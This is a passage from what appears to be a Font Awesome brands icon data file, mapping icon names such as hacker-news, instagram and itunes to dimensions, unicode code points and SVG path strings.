11.8-5.2 14-.9 1.9-2.2 3.5-4 4.5-1.9 1-4.5.9-6.1-.3-.9-.6-1.3-1.9-1.3-3.7 0-.9.1-1.8.3-2.7 1.5-6.1 7.8-18.1 15-34.3 1.6-3.7 1-2.6.8-2.3-6.2 6-10.9 8.9-14.4 10.5-5.8 2.6-13 2.6-14.5-4.1-.1-.4-.1-.8-.2-1.2-11.8 9.2-24.3 11.7-20-8.1-4.6 8.2-12.6 14.9-22.4 14.9-4.1 0-7.1-1.4-8.6-5.1-2.3-5.5 1.3-14.9 4.6-23.8 1.7-4.5 4-9.9 7.1-16.2 1.6-3.4 4.2-5.4 7.6-4.5.6.2 1.1.4 1.6.7 2.6 1.8 1.6 4.5.3 7.2-3.8 7.5-7.1 13-9.3 20.8-.9 3.3-2 9 1.5 9 2.4 0 4.7-.8 6.9-2.4 4.6-3.4 8.3-8.5 11.1-13.5 2-3.6 4.4-8.3 5.6-12.3.5-1.7 1.1-3.3 1.8-4.8 1.1-2.5 2.6-5.1 5.2-5.1 1.3 0 2.4.5 3.2 1.5 1.7 2.2 1.3 4.5.4 6.9-2 5.6-4.7 10.6-6.9 16.7-1.3 3.5-2.7 8-2.7 11.7 0 3.4 3.7 2.6 6.8 1.2 2.4-1.1 4.8-2.8 6.8-4.5 1.2-4.9.9-3.8 26.4-68.2 1.3-3.3 3.7-4.7 6.1-4.7 1.2 0 2.2.4 3.2 1.1 1.7 1.3 1.7 4.1 1 6.2-.7 1.9-.6 1.3-4.5 10.5-5.2 12.1-8.6 20.8-13.2 31.9-1.9 4.6-7.7 18.9-8.7 22.3-.6 2.2-1.3 5.8 1 5.8 5.4 0 19.3-13.1 23.1-17 .2-.3.5-.4.9-.6.6-1.9 1.2-3.7 1.7-5.5 1.4-3.8 2.7-8.2 5.3-11.3.8-1 1.7-1.6 2.7-1.6 2.8 0 4.2 1.2 4.2 4 0 1.1-.7 5.1-1.1 6.2 1.4-1.5 2.9-3 4.5-4.5 15-13.9 25.7-6.8 25.7.2 0 7.4-8.9 17.7-13.8 23.4-1.6 1.9-4.9 5.4-5 6.4 0 1.3.9 1.8 2.2 1.8 2 0 6.4-3.5 8-4.7 5-3.9 11.8-9.9 16.6-14.1l14.8-136.8c-30.5 17.1-197.6 17.2-228.3.2zm229.7-8.5c0 21-231.2 21-231.2 0 0-8.8 51.8-15.9 115.6-15.9 9 0 17.8.1 26.3.4l12.6-48.7L228.1.6c1.4-1.4 5.8-.2 9.9 3.5s6.6 7.9 5.3 9.3l-.1.1L185.9 74l-10 40.7c39.9 2.6 67.6 8.1 67.6 14.6zm-69.4 4.6c0-.8-.9-1.5-2.5-2.1l-.2.8c0 1.3-5 2.4-11.1 2.4s-11.1-1.1-11.1-2.4c0-.1 0-.2.1-.3l.2-.7c-1.8.6-3 1.4-3 2.3 0 2.1 6.2 3.7 13.7 3.7 7.7.1 13.9-1.6 13.9-3.7z"],
	"hacker-news": [448, 512, [], "f1d4", "M0 32v448h448V32H0zm21.2 197.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"],
	"hacker-news-square": [448, 512, [], "f3af", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"],
	"hackerrank": [512, 512, [], "f5f7", "M477.5 128C463 103.05 285.13 0 256.16 0S49.25 102.79 34.84 128s-14.49 230.8 0 256 192.38 128 221.32 128S463 409.08 477.49 384s14.51-231 .01-256zM316.13 414.22c-4 0-40.91-35.77-38-38.69.87-.87 6.26-1.48 17.55-1.83 0-26.23.59-68.59.94-86.32 0-2-.44-3.43-.44-5.85h-79.93c0 7.1-.46 36.2 1.37 72.88.23 4.54-1.58 6-5.74 5.94-10.13 0-20.27-.11-30.41-.08-4.1 0-5.87-1.53-5.74-6.11.92-33.44 3-84-.15-212.67v-3.17c-9.67-.35-16.38-1-17.26-1.84-2.92-2.92 34.54-38.69 38.49-38.69s41.17 35.78 38.27 38.69c-.87.87-7.9 1.49-16.77 1.84v3.16c-2.42 25.75-2 79.59-2.63 105.39h80.26c0-4.55.39-34.74-1.2-83.64-.1-3.39.95-5.17 4.21-5.2 11.07-.08 22.15-.13 33.23-.06 3.46 0 4.57 1.72 4.5 5.38C333 354.64 336 341.29 336 373.69c8.87.35 16.82 1 17.69 1.84 2.88 2.91-33.62 38.69-37.58 38.69z"],
	"hips": [640, 512, [], "f452", "M251.6 157.6c0-1.9-.9-2.8-2.8-2.8h-40.9c-1.6 0-2.7 1.4-2.7 2.8v201.8c0 1.4 1.1 2.8 2.7 2.8h40.9c1.9 0 2.8-.9 2.8-2.8zM156.5 168c-16.1-11.8-36.3-17.9-60.3-18-18.1-.1-34.6 3.7-49.8 11.4V80.2c0-1.8-.9-2.7-2.8-2.7H2.7c-1.8 0-2.7.9-2.7 2.7v279.2c0 1.9.9 2.8 2.7 2.8h41c1.9 0 2.8-.9 2.8-2.8V223.3c0-.8-2.8-27 45.8-27 48.5 0 45.8 26.1 45.8 27v122.6c0 9 7.3 16.3 16.4 16.3h27.3c1.8 0 2.7-.9 2.7-2.8V223.3c0-23.4-9.3-41.8-28-55.3zm478.4 110.1c-6.8-15.7-18.4-27-34.9-34.1l-57.6-25.3c-8.6-3.6-9.2-11.2-2.6-16.1 7.4-5.5 44.3-13.9 84 6.8 1.7 1 4-.3 4-2.4v-44.7c0-1.3-.6-2.1-1.9-2.6-17.7-6.6-36.1-9.9-55.1-9.9-26.5 0-45.3 5.8-58.5 15.4-.5.4-28.4 20-22.7 53.7 3.4 19.6 15.8 34.2 37.2 43.6l53.6 23.5c11.6 5.1 15.2 13.3 12.2 21.2-3.7 9.1-13.2 13.6-36.5 13.6-24.3 0-44.7-8.9-58.4-19.1-2.1-1.4-4.4.2-4.4 2.3v34.4c0 10.4 4.9 17.3 14.6 20.7 15.6 5.5 31.6 8.2 48.2 8.2 12.7 0 25.8-1.2 36.3-4.3.7-.3 36-8.9 45.6-45.8 3.5-13.5 2.4-26.5-3.1-39.1zM376.2 149.8c-31.7 0-104.2 20.1-104.2 103.5v183.5c0 .8.6 2.7 2.7 2.7h40.9c1.9 0 2.8-.9 2.8-2.7V348c16.5 12.7 35.8 19.1 57.7 19.1 60.5 0 108.7-48.5 108.7-108.7.1-60.3-48.2-108.6-108.6-108.6zm0 170.9c-17.2 0-31.9-6.1-44-18.2-12.2-12.2-18.2-26.8-18.2-44 0-34.5 27.6-62.2 62.2-62.2 34.5 0 62.2 27.6 62.2 62.2.1 34.3-27.3 62.2-62.2 62.2zM228.3 72.5c-15.9 0-28.8 12.9-28.9 28.9 0 15.6 12.7 28.9 28.9 28.9s28.9-13.1 28.9-28.9c0-16.2-13-28.9-28.9-28.9z"],
	"hire-a-helper": [512, 512, [], "f3b0", "M443.1 0H71.9C67.9 37.3 37.4 67.8 0 71.7v371.5c37.4 4.9 66 32.4 71.9 68.8h372.2c3-36.4 32.5-65.8 67.9-69.8V71.7c-36.4-5.9-65-35.3-68.9-71.7zm-37 404.9c-36.3 0-18.8-2-55.1-2-35.8 0-21 2-56.1 2-5.9 0-4.9-8.2 0-9.8 22.8-7.6 22.9-10.2 24.6-12.8 10.4-15.6 5.9-83 5.9-113 0-5.3-6.4-12.8-13.8-12.8H200.4c-7.4 0-13.8 7.5-13.8 12.8 0 30-4.5 97.4 5.9 113 1.7 2.5 1.8 5.2 24.6 12.8 4.9 1.6 6 9.8 0 9.8-35.1 0-20.3-2-56.1-2-36.3 0-18.8 2-55.1 2-7.9 0-5.8-10.8 0-10.8 10.2-3.4 13.5-3.5 21.7-13.8 7.7-12.9 7.9-44.4 7.9-127.8V151.3c0-22.2-12.2-28.3-28.6-32.4-8.8-2.2-4-11.8 1-11.8 36.5 0 20.6 2 57.1 2 32.7 0 16.5-2 49.2-2 3.3 0 8.5 8.3 1 10.8-4.9 1.6-27.6 3.7-27.6 39.3 0 45.6-.2 55.8 1 68.8 0 1.3 2.3 12.8 12.8 12.8h109.2c10.5 0 12.8-11.5 12.8-12.8 1.2-13 1-23.2 1-68.8 0-35.6-22.7-37.7-27.6-39.3-7.5-2.5-2.3-10.8 1-10.8 32.7 0 16.5 2 49.2 2 36.5 0 20.6-2 57.1-2 4.9 0 9.9 9.6 1 11.8-16.4 4.1-28.6 10.3-28.6 32.4v101.2c0 83.4.1 114.9 7.9 127.8 8.2 10.2 11.4 10.4 21.7 13.8 5.8 0 7.8 10.8 0 10.8z"],
	"hive": [512, 512, [], "e07f", "M260.353,254.878,131.538,33.1a2.208,2.208,0,0,0-3.829.009L.3,254.887A2.234,2.234,0,0,0,.3,257.122L129.116,478.9a2.208,2.208,0,0,0,3.83-.009L260.358,257.113A2.239,2.239,0,0,0,260.353,254.878Zm39.078-25.713a2.19,2.19,0,0,0,1.9,1.111h66.509a2.226,2.226,0,0,0,1.9-3.341L259.115,33.111a2.187,2.187,0,0,0-1.9-1.111H190.707a2.226,2.226,0,0,0-1.9,3.341ZM511.7,254.886,384.9,33.112A2.2,2.2,0,0,0,382.99,32h-66.6a2.226,2.226,0,0,0-1.906,3.34L440.652,256,314.481,476.66a2.226,2.226,0,0,0,1.906,3.34h66.6a2.2,2.2,0,0,0,1.906-1.112L511.7,257.114A2.243,2.243,0,0,0,511.7,254.886ZM366.016,284.917H299.508a2.187,2.187,0,0,0-1.9,1.111l-108.8,190.631a2.226,2.226,0,0,0,1.9,3.341h66.509a2.187,2.187,0,0,0,1.9-1.111l108.8-190.631A2.226,2.226,0,0,0,366.016,284.917Z"],
	"hooli": [640, 512, [], "f427", "M144.5 352l38.3.8c-13.2-4.6-26-10.2-38.3-16.8zm57.7-5.3v5.3l-19.4.8c36.5 12.5 69.9 14.2 94.7 7.2-19.9.2-45.8-2.6-75.3-13.3zm408.9-115.2c15.9 0 28.9-12.9 28.9-28.9s-12.9-24.5-28.9-24.5c-15.9 0-28.9 8.6-28.9 24.5s12.9 28.9 28.9 28.9zm-29 120.5H640V241.5h-57.9zm-73.7 0h57.9V156.7L508.4 184zm-31-119.4c-18.2-18.2-50.4-17.1-50.4-17.1s-32.3-1.1-50.4 17.1c-18.2 18.2-16.8 33.9-16.8 52.6s-1.4 34.3 16.8 52.5 50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.8-33.8 16.8-52.5-.1-18.8 1.3-34.5-16.8-52.6zm-39.8 71.9c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9zm-106.2-71.9c-18.2-18.2-50.4-17.1-50.4-17.1s-32.2-1.1-50.4 17.1c-1.9 1.9-3.7 3.9-5.3 6-38.2-29.6-72.5-46.5-102.1-61.1v-20.7l-22.5 10.6c-54.4-22.1-89-18.2-97.3.1 0 0-24.9 32.8 61.8 110.8V352h57.9v-28.6c-6.5-4.2-13-8.7-19.4-13.6-14.8-11.2-27.4-21.6-38.4-31.4v-31c13.1 14.7 30.5 31.4 53.4 50.3l4.5 3.6v-29.8c0-6.9 1.7-18.2 10.8-18.2s10.6 6.9 10.6 15V317c18 12.2 37.3 22.1 57.7 29.6v-93.9c0-18.7-13.4-37.4-40.6-37.4-15.8-.1-30.5 8.2-38.5 21.9v-54.3c41.9 20.9 83.9 46.5 99.9 58.3-10.2 14.6-9.3 28.1-9.3 43.7 0 18.7-1.4 34.3 16.8 52.5s50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.7-33.8 16.7-52.5 0-18.5 1.5-34.2-16.7-52.3zM65.2 184v63.3c-48.7-54.5-38.9-76-35.2-79.1 13.5-11.4 37.5-8 64.4 2.1zm226.5 120.5c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9z"],
	"hornbill": [512, 512, [], "f592", "M76.38 370.3a37.8 37.8 0 1 1-32.07-32.42c-78.28-111.35 52-190.53 52-190.53-5.86 43-8.24 91.16-8.24 91.16-67.31 41.49.93 64.06 39.81 72.87a140.38 140.38 0 0 0 131.66 91.94c1.92 0 3.77-.21 5.67-.28l.11 18.86c-99.22 1.39-158.7-29.14-188.94-51.6zm108-327.7A37.57 37.57 0 0 0 181 21.45a37.95 37.95 0 1 0-31.17 54.22c-22.55 29.91-53.83 89.57-52.42 190l21.84-.15c0-.9-.14-1.77-.14-2.68A140.42 140.42 0 0 1 207 132.71c8-37.71 30.7-114.3 73.8-44.29 0 0 48.14 2.38 91.18 8.24 0 0-77.84-128-187.59-54.06zm304.19 134.17a37.94 37.94 0 1 0-53.84-28.7C403 126.13 344.89 99 251.28 100.33l.14 22.5c2.7-.15 5.39-.41 8.14-.41a140.37 140.37 0 0 1 130.49 88.76c39.1 9 105.06 31.58 38.46 72.54 0 0-2.34 48.13-8.21 91.16 0 0 133.45-81.16 49-194.61a37.45 37.45 0 0 0 19.31-3.5zM374.06 436.24c21.43-32.46 46.42-89.69 45.14-179.66l-19.52.14c.08 2.06.3 4.07.3 6.15a140.34 140.34 0 0 1-91.39 131.45c-8.85 38.95-31.44 106.66-72.77 39.49 0 0-48.12-2.34-91.19-8.22 0 0 79.92 131.34 191.9 51a37.5 37.5 0 0 0 3.64 14 37.93 37.93 0 1 0 33.89-54.29z"],
	"hotjar": [448, 512, [], "f3b1", "M414.9 161.5C340.2 29 121.1 0 121.1 0S222.2 110.4 93 197.7C11.3 252.8-21 324.4 14 402.6c26.8 59.9 83.5 84.3 144.6 93.4-29.2-55.1-6.6-122.4-4.1-129.6 57.1 86.4 165 0 110.8-93.9 71 15.4 81.6 138.6 27.1 215.5 80.5-25.3 134.1-88.9 148.8-145.6 15.5-59.3 3.7-127.9-26.3-180.9z"],
	"houzz": [448, 512, [], "f27c", "M275.9 330.7H171.3V480H17V32h109.5v104.5l305.1 85.6V480H275.9z"],
	"html5": [384, 512, [], "f13b", "M0 32l34.9 395.8L191.5 480l157.6-52.2L384 32H0zm308.2 127.9H124.4l4.1 49.4h175.6l-13.6 148.4-97.9 27v.3h-1.1l-98.7-27.3-6-75.8h47.7L138 320l53.5 14.5 53.7-14.5 6-62.2H84.3L71.5 112.2h241.1l-4.4 47.7z"],
	"hubspot": [512, 512, [], "f3b2", "M267.4 211.6c-25.1 23.7-40.8 57.3-40.8 94.6 0 29.3 9.7 56.3 26 78L203.1 434c-4.4-1.6-9.1-2.5-14-2.5-10.8 0-20.9 4.2-28.5 11.8-7.6 7.6-11.8 17.8-11.8 28.6s4.2 20.9 11.8 28.5c7.6 7.6 17.8 11.6 28.5 11.6 10.8 0 20.9-3.9 28.6-11.6 7.6-7.6 11.8-17.8 11.8-28.5 0-4.2-.6-8.2-1.9-12.1l50-50.2c22 16.9 49.4 26.9 79.3 26.9 71.9 0 130-58.3 130-130.2 0-65.2-47.7-119.2-110.2-128.7V116c17.5-7.4 28.2-23.8 28.2-42.9 0-26.1-20.9-47.9-47-47.9S311.2 47 311.2 73.1c0 19.1 10.7 35.5 28.2 42.9v61.2c-15.2 2.1-29.6 6.7-42.7 13.6-27.6-20.9-117.5-85.7-168.9-124.8 1.2-4.4 2-9 2-13.8C129.8 23.4 106.3 0 77.4 0 48.6 0 25.2 23.4 25.2 52.2c0 28.9 23.4 52.3 52.2 52.3 9.8 0 18.9-2.9 26.8-7.6l163.2 114.7zm89.5 163.6c-38.1 0-69-30.9-69-69s30.9-69 69-69 69 30.9 69 69-30.9 69-69 69z"],
	"ideal": [576, 512, [], "e013", "M125.61,165.48a49.07,49.07,0,1,0,49.06,49.06A49.08,49.08,0,0,0,125.61,165.48ZM86.15,425.84h78.94V285.32H86.15Zm151.46-211.6c0-20-10-22.53-18.74-22.53H204.82V237.5h14.05C228.62,237.5,237.61,234.69,237.61,214.24Zm201.69,46V168.93h22.75V237.5h33.69C486.5,113.08,388.61,86.19,299.67,86.19H204.84V169h14c25.6,0,41.5,17.35,41.5,45.26,0,28.81-15.52,46-41.5,46h-14V425.88h94.83c144.61,0,194.94-67.16,196.72-165.64Zm-109.75,0H273.3V169h54.43v22.73H296v10.58h30V225H296V237.5h33.51Zm74.66,0-5.16-17.67H369.31l-5.18,17.67H340.47L368,168.92h32.35l27.53,91.34ZM299.65,32H32V480H299.65c161.85,0,251-79.73,251-224.52C550.62,172,518,32,299.65,32Zm0,426.92H53.07V53.07H299.65c142.1,0,229.9,64.61,229.9,202.41C529.55,389.57,448.55,458.92,299.65,458.92Zm83.86-264.85L376,219.88H392.4l-7.52-25.81Z"],
	"imdb": [448, 512, [], "f2d8", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.3 229.2H21c.1-.1.2-.3.3-.4zM97 319.8H64V192h33zm113.2 0h-28.7v-86.4l-11.6 86.4h-20.6l-12.2-84.5v84.5h-29V192h42.8c3.3 19.8 6 39.9 8.7 59.9l7.6-59.9h43zm11.4 0V192h24.6c17.6 0 44.7-1.6 49 20.9 1.7 7.6 1.4 16.3 1.4 24.4 0 88.5 11.1 82.6-75 82.5zm160.9-29.2c0 15.7-2.4 30.9-22.2 30.9-9 0-15.2-3-20.9-9.8l-1.9 8.1h-29.8V192h31.7v41.7c6-6.5 12-9.2 20.9-9.2 21.4 0 22.2 12.8 22.2 30.1zM265 229.9c0-9.7 1.6-16-10.3-16v83.7c12.2.3 10.3-8.7 10.3-18.4zm85.5 26.1c0-5.4 1.1-12.7-6.2-12.7-6 0-4.9 8.9-4.9 12.7 0 .6-1.1 39.6 1.1 44.7.8 1.6 2.2 2.4 3.8 2.4 7.8 0 6.2-9 6.2-14.4z"],
	"innosoft": [448, 512, [], "e080", "M422.559,159.71a27.379,27.379,0,0,0-13.866-23.337,26.42,26.42,0,0,0-26.211.133L73.943,314.647V176.261a11.955,11.955,0,0,1,6.047-10.34L218.066,86.208a12.153,12.153,0,0,1,11.922.025l32.656,18.853L112.581,191.723v56L359.642,105.086,241.129,36.679c-10.992-6.129-22.3-6.255-33.8-.27l-164.6,95.026c-10.634,6.12-16.771,16.39-17.29,29.124l0,191.5c.17,10.135,5.08,18.672,13.474,23.428a27.037,27.037,0,0,0,26.736-.045L374.057,197.376V335.657a11.976,11.976,0,0,1-5.92,10.368L230.025,425.77a12.175,12.175,0,0,1-11.937.062l-32.723-18.9,150.051-86.627v-56L88.367,406.932l118.794,68.583a33.88,33.88,0,0,0,34.25-.327l164.527-94.995c10.746-6.631,16.649-17.118,16.624-29.528Z"],
	"instagram": [448, 512, [], "f16d", "M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z"],
	"instagram-square": [448, 512, [], "e055", "M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z"],
	"instalod": [512, 512, [], "e081", "M153.384,480H387.113L502.554,275.765,204.229,333.211ZM504.726,240.078,387.113,32H155.669L360.23,267.9ZM124.386,48.809,7.274,256,123.236,461.154,225.627,165.561Z"],
	"intercom": [448, 512, [], "f7af", "M392 32H56C25.1 32 0 57.1 0 88v336c0 30.9 25.1 56 56 56h336c30.9 0 56-25.1 56-56V88c0-30.9-25.1-56-56-56zm-108.3 82.1c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zm-74.6-7.5c0-19.8 29.9-19.8 29.9 0v216.5c0 19.8-29.9 19.8-29.9 0V106.6zm-74.7 7.5c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zM59.7 144c0-19.8 29.9-19.8 29.9 0v134.3c0 19.8-29.9 19.8-29.9 0V144zm323.4 227.8c-72.8 63-241.7 65.4-318.1 0-15-12.8 4.4-35.5 19.4-22.7 65.9 55.3 216.1 53.9 279.3 0 14.9-12.9 34.3 9.8 19.4 22.7zm5.2-93.5c0 19.8-29.9 19.8-29.9 0V144c0-19.8 29.9-19.8 29.9 0v134.3z"],
	"internet-explorer": [512, 512, [], "f26b", "M483.049 159.706c10.855-24.575 21.424-60.438 21.424-87.871 0-72.722-79.641-98.371-209.673-38.577-107.632-7.181-211.221 73.67-237.098 186.457 30.852-34.862 78.271-82.298 121.977-101.158C125.404 166.85 79.128 228.002 43.992 291.725 23.246 329.651 0 390.94 0 436.747c0 98.575 92.854 86.5 180.251 42.006 31.423 15.43 66.559 15.573 101.695 15.573 97.124 0 184.249-54.294 216.814-146.022H377.927c-52.509 88.593-196.819 52.996-196.819-47.436H509.9c6.407-43.581-1.655-95.715-26.851-141.162zM64.559 346.877c17.711 51.15 53.703 95.871 100.266 123.304-88.741 48.94-173.267 29.096-100.266-123.304zm115.977-108.873c2-55.151 50.276-94.871 103.98-94.871 53.418 0 101.981 39.72 103.981 94.871H180.536zm184.536-187.6c21.425-10.287 48.563-22.003 72.558-22.003 31.422 0 54.274 21.717 54.274 53.722 0 20.003-7.427 49.007-14.569 67.867-26.28-42.292-65.986-81.584-112.263-99.586z"],
	"invision": [448, 512, [], "f7b0", "M407.4 32H40.6C18.2 32 0 50.2 0 72.6v366.8C0 461.8 18.2 480 40.6 480h366.8c22.4 0 40.6-18.2 40.6-40.6V72.6c0-22.4-18.2-40.6-40.6-40.6zM176.1 145.6c.4 23.4-22.4 27.3-26.6 27.4-14.9 0-27.1-12-27.1-27 .1-35.2 53.1-35.5 53.7-.4zM332.8 377c-65.6 0-34.1-74-25-106.6 14.1-46.4-45.2-59-59.9.7l-25.8 103.3H177l8.1-32.5c-31.5 51.8-94.6 44.4-94.6-4.3.1-14.3.9-14 23-104.1H81.7l9.7-35.6h76.4c-33.6 133.7-32.6 126.9-32.9 138.2 0 20.9 40.9 13.5 57.4-23.2l19.8-79.4h-32.3l9.7-35.6h68.8l-8.9 40.5c40.5-75.5 127.9-47.8 101.8 38-14.2 51.1-14.6 50.7-14.9 58.8 0 15.5 17.5 22.6 31.8-16.9L386 325c-10.5 36.7-29.4 52-53.2 52z"],
	"ioxhost": [640, 512, [], "f208", "M616 160h-67.3C511.2 70.7 422.9 8 320 8 183 8 72 119 72 256c0 16.4 1.6 32.5 4.7 48H24c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h67.3c37.5 89.3 125.8 152 228.7 152 137 0 248-111 248-248 0-16.4-1.6-32.5-4.7-48H616c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24zm-96 96c0 110.5-89.5 200-200 200-75.7 0-141.6-42-175.5-104H424c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24H125.8c-3.8-15.4-5.8-31.4-5.8-48 0-110.5 89.5-200 200-200 75.7 0 141.6 42 175.5 104H216c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h298.2c3.8 15.4 5.8 31.4 5.8 48zm-304-24h208c13.3 0 24 10.7 24 24 0 13.2-10.7 24-24 24H216c-13.3 0-24-10.7-24-24 0-13.2 10.7-24 24-24z"],
	"itch-io": [512, 512, [], "f83a", "M71.92 34.77C50.2 47.67 7.4 96.84 7 109.73v21.34c0 27.06 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12 23.59 50 51.16 50h.5c27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 50 23 0 48.25-23.78 48.25-50.84v-21.34c-.4-12.9-43.2-62.07-64.92-75C372.56 32.4 325.76 32 256 32S91.14 33.1 71.92 34.77zm132.32 134.39c-22 38.4-77.9 38.71-99.85.25-13.17 23.14-43.17 32.07-56 27.66-3.87 40.15-13.67 237.13 17.73 269.15 80 18.67 302.08 18.12 379.76 0 31.65-32.27 21.32-232 17.75-269.15-12.92 4.44-42.88-4.6-56-27.66-22 38.52-77.85 38.1-99.85-.24-7.1 12.49-23.05 28.94-51.76 28.94a57.54 57.54 0 0 1-51.75-28.94zm-41.58 53.77c16.47 0 31.09 0 49.22 19.78a436.91 436.91 0 0 1 88.18 0C318.22 223 332.85 223 349.31 223c52.33 0 65.22 77.53 83.87 144.45 17.26 62.15-5.52 63.67-33.95 63.73-42.15-1.57-65.49-32.18-65.49-62.79-39.25 6.43-101.93 8.79-155.55 0 0 30.61-23.34 61.22-65.49 62.79-28.42-.06-51.2-1.58-33.94-63.73 18.67-67 31.56-144.45 83.88-144.45zM256 270.79s-44.38 40.77-52.35 55.21l29-1.17v25.32c0 1.55 21.34.16 23.33.16 11.65.54 23.31 1 23.31-.16v-25.28l29 1.17c-8-14.48-52.35-55.24-52.35-55.24z"],
	"itunes": [448, 512, [], "f3b4", "M223.6 80.3C129 80.3 52.5 157 52.5 251.5S129 422.8 223.6 422.8s171.2-76.7 171.2-171.2c0-94.6-76.7-171.3-171.2-171.3zm79.4 240c-3.2 13.6-13.5 21.2-27.3 23.8-12.1 2.2-22.2 2.8-31.9-5-11.8-10-12-26.4-1.4-36.8 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 3.2-3.6 2.2-2 2.2-80.8 0-5.6-2.7-7.1-8.4-6.1-4 .7-91.9 17.1-91.9 17.1-5 1.1-6.7 2.6-6.7 8.3 0 116.1.5 110.8-1.2 118.5-2.1 9-7.6 15.8-14.9 19.6-8.3 4.6-23.4 6.6-31.4 5.2-21.4-4-28.9-28.7-14.4-42.9 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 5-5.7.9-127 2.6-133.7.4-2.6 1.5-4.8 3.5-6.4 2.1-1.7 5.8-2.7 6.7-2.7 101-19 113.3-21.4 115.1-21.4 5.7-.4 9 3 9 8.7-.1 170.6.4 161.4-1 167.6zM345.2 32H102.8C45.9 32 0 77.9 0 134.8v242.4C0 434.1 45.9 480 102.8 480h242.4c57 0 102.8-45.9 102.8-102.8V134.8C448 77.9 402.1 32 345.2 32zM223.6 444c-106.3 0-192.5-86.2-192.5-192.5S117.3 59 223.6 59s192.5 86.2 192.5 192.5S329.9 444 223.6 444z"],
